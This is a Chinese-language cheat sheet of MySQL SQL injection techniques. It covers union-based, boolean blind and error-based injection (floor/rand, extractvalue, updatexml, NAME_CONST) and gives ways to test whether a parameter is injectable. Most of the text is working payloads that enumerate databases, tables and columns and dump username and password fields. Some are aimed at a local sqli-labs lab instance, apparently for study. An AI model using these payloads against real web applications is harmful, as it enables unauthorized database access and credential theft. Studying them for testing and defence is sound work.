Mysql注入类型

  1. union 联合查询
  2. 布尔盲注
  3. 时间盲注
  4. 显错注入
  5. 堆叠注入
  6. 宽字节注入 (只存在PHP)

Mysql各类型注入语句

1.union 联合查询(sql查询语句),存在mysql的版本问题 下方是5.0之后版本的利用方式

5.0之后的版本存在 information_schema 表 :information_schema 是 一个虚拟数据库

information_schema数据库类似与“数据字典”,提供了访问数据库元数据的方式,即数据的数据。

如数据库名或表名,列类型,访问权限等

?id=1 union select 1,2,3
   ?id=1 union select 1,2,user()  -- 获取当前用户信息
   ?id=1 union select 1,2,database()  --获取当前数据库信息
   ?id=1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- 获取数据表的信息
   ?id=1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=16进制(database()) -- 获取数据表的信息
   ?id=1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=16进制(表名) --获取列名信息
   ?id=1 union select username,password from 表名
注:上述查询语句结尾处可加上 --+ 用以屏蔽代码中多余的查询语句,where 条件语句后也可加上分页函数,防止数据过长无法显示:limit 0,2

2.布尔盲注(sql查询语句)

1.判断数据库第一位
	http://192.168.87.130/sqli-labs/Less-5/?id=1' and left(database(),1)='s' %23 
	
	2.猜测数据库第二位
	http://192.168.87.130/sqli-labs/Less-5/?id=1' and left(database(),2) = 'se' %23 
	
	3.判断数据库名称长度是否为8位3.判断数据库名称长度是否为8位
	http://192.168.87.130/sqli-labs/Less-5/?id=1' and length(database())=8 %23 
	
	4.利用 substr() ascii()函数进行尝试,猜测数据库中的第一个表的第一个字符,ascii(x)=101,判断x的ascii码是否等于101,即email中的字母e,substr(a,b,c)从 b 位置开始, 截取字符串 a 的 c 长度
	
	http://192.168.87.130/sqli-labs/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101 %23 
	
	5.猜解第一个表的第二位字符,使用 substr(**,2,1) ;109即email中的字母m 
	http://192.168.87.130/sqli-labs/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=109 %23 
	
	6.猜解第二个表上文中获取第一个表使用的 limit 0,1是从第0个开始,取第1个;那么获取第二个表使用 limit 1,1即可
	http://192.168.87.130/sqli-labs/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=114 %23 

	

> 然后按照上述方法重复,就能够获取所有表的名字

	
	7.使用regexp获取 users表中的列
	用法介绍: select user() regexp '^[a-z]';
	Explain: 正则表达式的用法, user()结果为 root, regexp 为匹配 root 的正则表达式。
	第二位可以用 select user() regexp '^ro'来进行。
	
	http://192.168.87.130/sqli-labs/Less-5/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and table_name regexp '^us[a-z]' limit 0,1)--+

	

> 上述语句时选择 users 表中的列名是否有 us**的列

	
	http://192.168.87.130/sqli-labs/Less-5/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1)--+
	
	8.利用 ord() 和 mid() 函数获取 users 表的内容
	http://192.168.87.130/sqli-labs/Less-5/?id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))=68--+

	Explain: mid(a,b,c)从位置 b 开始, 截取 a 字符串的 c 位

	Ord()函数同 ascii(), 将字符转为 ascii 值

	获取 users 表中的内容。 获取 username 中的第一行的第一个字符的 ascii, 与 68 进行比较,即为D



> 重复上述步骤即可,以上对布尔盲注 SQL 的所有的payload进行了展示。

3.时间盲注(sql查询语句)

五种:sleep(),benchmark(t,exp),笛卡尔积,GET_LOCK() RLIKE正则

4.显错注入(sql查询语句)

第一种:通过mysql的floor函数报错
floor() 函数的作用:floor(1.121) 找出小于括号中 1.21的最大整数,结果是 1
rand() 函数的作用:获取随机的浮点数(小于0的小数),而 rand(0) 则是获取固定的小数值
floor(rand(0)2):将rand(0)中获取的固定小数的值2,在找出比当前值小的最大整数,由于 rand(0)=0.15522042769493574,而0.15…*2 为 0.31… 比0.31小的最大整数只有 0 那么 floor(rand(0)*2)的值则为 0

/*爆数据库版本*/
and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

/*爆数据库当前连接用户*/
and(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

/*爆数据库的库名*/
and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

/*爆数据库的表名*/
and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

/*暴数据表中的字段名*/
and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x61646D696E LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

/*暴数据表中的字段内容*/
and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

第二种:ExtractValue报错函数(有长度限制,最长32位) mysql 5.1及以上版本

/*爆数据库版本*/
and extractvalue(1, concat(0x7e, (select @@version),0x7e))

/*暴数据表中的字段内容*/
and extractvalue(1, concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1)))

第三种:UpdateXml报错函数(有长度限制,最长32位)

/*爆数据库版本*/
and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

/*爆数据库名称*/
and updatexml(1,concat(0x7e,(select  database()),0x7e),1)

/*爆数据库表名*/
and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where 
table_schema=database()),0x7e),1)

/*爆数据库列名*/
and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.tables where 
table_name=表名),0x7e),1)

/*暴数据表中的字段内容*/
and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)

第四种:NAME_CONST(适用于低版本)

and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--

第五种:Error based Double Query Injection (http://www.vaibs.in/error-based-double-query-injection/)

/*爆数据库版本*/
or+1+group+by+concat_ws(0x7e,version(),floor(rand(0)*2))+having+min(0)+or+1

5.堆叠注入(sql查询语句)

6.宽字节注入(sql查询语句)

Mysql判断存在注入方法

1.数字型参数判断是否存在注入

首先判断注入参数类型:
 ?id=2-0 若是返回当前页面 继续测试 ?id=2-1 看是否返回不一样的页面,若是不一样 说明该参数90%是数字型参数。
 判断是否存在注入:
 1. ?id=2 and 1=1 :页面是否返回相同
    ?id=2 and 1=2 :页面是否返回异常,如果返回异常则初步判定存在sql注入
 
 使用单引号判断
 2. ?id=2' :若是页面返回异常,则初步判定此处存在sql注入
 
 使用异或判断:这里有一点需要注意,一般情况下 只有 "xor 0" 与 其他 "xor 数字"  页面展示不相同
 3. ?id=2 xor 0 与 ?id=2 xor 1 返回页面是否相同,如果不相同 则初步判定存在sql注入

 使用 true 、false 判断是否存在注入
 4. ?id=2 and true ;?id=2 and false : 若是 true 返回页面不变 而 flase 页面无返回数据 或者异常,则初  步判断存在sql注入

注意:有时候 order by 以后 写union联合查询时 不要删除and 1=1 这种判断,否则有可能不显示参数位

2.字符型参数判断是否存在注入

使用单引号或者双引号判断是否存在SQL注入:
1.?id=2" and “1”=“1或者 ?id=2’ and ’ 1’ =’ 1:页面返回正常
?id=2” and “1”="2或者 ?id=2’ and ’ 1’ =’ 2:页面返回异常,则初步判断此处存在sql注入